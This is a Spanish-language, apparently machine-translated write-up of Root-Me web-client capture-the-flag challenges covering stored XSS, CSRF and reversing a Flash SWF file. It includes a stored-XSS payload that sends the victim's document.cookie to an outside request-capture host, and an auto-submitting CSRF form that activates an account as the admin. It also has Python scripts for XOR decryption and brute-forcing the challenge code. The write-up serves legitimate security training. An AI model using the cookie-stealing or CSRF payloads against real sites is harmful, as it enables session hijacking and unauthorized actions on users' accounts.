En este artículo, secuestramos cookies a través de XSS almacenado, tratamos con un ataque CSRF y revertimos un archivo SWF Flash. Enlaces a artículos anteriores:
Parte 1:
Web: autenticación de JavaScript, ofuscación y código nativo. Resolución de problemas con r0ot-mi Web - Cliente.Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
XSS almacenado

En la asignación, necesitamos tomar las cookies de administrador. Abrimos el sitio. Vemos un formulario donde debe ingresar un título y un mensaje. Ingresemos para ver cómo se muestra nuestra entrada en el formulario.


Entonces Tratemos de verificar XSS. Como carga útil, usaré la alerta habitual.
<script>alert(1);</script>
Como puede ver, se nos mostró la ventana de alerta, es decir, el código JavaScript incorporado funcionó.

Como se almacenan XSS, es posible secuestrar las cookies de otros usuarios. Si no tiene su propio servidor en la red global, puede usar
este sitio .

Aquí se nos da una dirección donde podemos observar todas las solicitudes a esta dirección. Ahora introduce la próxima carga útil.
<script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script>
Cuando el usuario abre una página con este código, el agente intentará descargar la imagen y ejecutar una solicitud en esta dirección. Él usará su cookie como parámetro. Luego observamos el parámetro con el que vino la solicitud: esta será la cookie.

¿Por qué es peligroso secuestrar cookies? Al insertar cookies para este sitio en nuestro navegador, ingresaremos al sitio en nombre de este usuario, omitiendo el proceso de autenticación.
CSRF

En la asignación, necesitamos activar su cuenta. Vamos a ver el sitio. Nos encontramos con un formulario de autorización.

Seleccionamos el registro y nos registramos en el sitio.

Se nos dice que tendremos acceso total cuando el administrador active nuestra cuenta.


Cuando intenta marcar la casilla usted mismo, recibimos un mensaje de que no somos administradores.

Pero podemos contactar al administrador, es decir, él abrirá la página. El significado de CSRF es que el usuario realiza acciones sin saberlo. Es decir, podemos obligarlo a enviar un formulario ya completado. Verifiquemos si hay un token configurado y verificado por el servidor, como protección contra tales ataques. Es diferente cada vez.

No hay token. Esta forma de carga saldrá de esta forma.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script>
Aquí hay un formulario ya completado con nuestros datos, con una marca de verificación activada. El código Javascript lo enviará después de cargar la página, respectivamente, en nombre del administrador que lo vio.


Después de un tiempo, actualizamos la página. Nuestra cuenta ha sido activada.

Flash

Necesitamos encontrar un código válido. Abramos la página. Nos encontramos con algún tipo de mecanismo de código.

Echemos un vistazo al código.

Vemos que el código convertido se verifica en JS, que presentamos. Queda por descubrir el algoritmo de conversión. También en el código hay un enlace al archivo swf. Vamos a descargarlo.

Vemos que este es un Macromedia Flash comprimido. Para revertir dichos archivos, prefiero usar JPEXS.

Encontramos el guión principal.

Vamos a desarmarlo.

Carga los datos de otro script anidado, los muerde con la clave y los envía para su ejecución. Hagámoslo Primero encontramos estos datos.

Y luego exportar a un archivo separado.

Ahora proxor con la llave.
f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close()
Obtenemos un nuevo archivo. Ábrelo en JPEXS.

Encontramos el guión principal y comenzamos a analizar.

Ya que todavía tienes que escribir código. Publicaré partes de ella.
but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
Aquí vemos el código de cada botón y su ubicación en las coordenadas. Esto nos ayudará a entender qué botón tiene qué código.

De esto aprendemos que la longitud del código debe ser igual o mayor que 12. Y que el valor final es el hash MD5 de la cadena invertida.
from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest()

En lugar de describir, simplemente daré este código en python'e.
code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1]
Por lo tanto, necesitamos clasificar 4 ^ 12 = 16777216 opciones. Un poco.
from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break

Tengo una contraseña y un código.
Más y más complicado ... Puedes unirte a nosotros en
Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.